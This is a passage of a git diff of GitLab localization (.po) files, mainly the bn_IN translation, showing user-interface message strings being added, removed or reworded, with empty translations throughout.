-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/bn_IN/gitlab.po b/locale/bn_IN/gitlab.po
index 0583a94f311..3e4789d74fd 100644
--- a/locale/bn_IN/gitlab.po
+++ b/locale/bn_IN/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: bn-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:31\n"
+"PO-Revision-Date: 2021-07-01 21:15\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
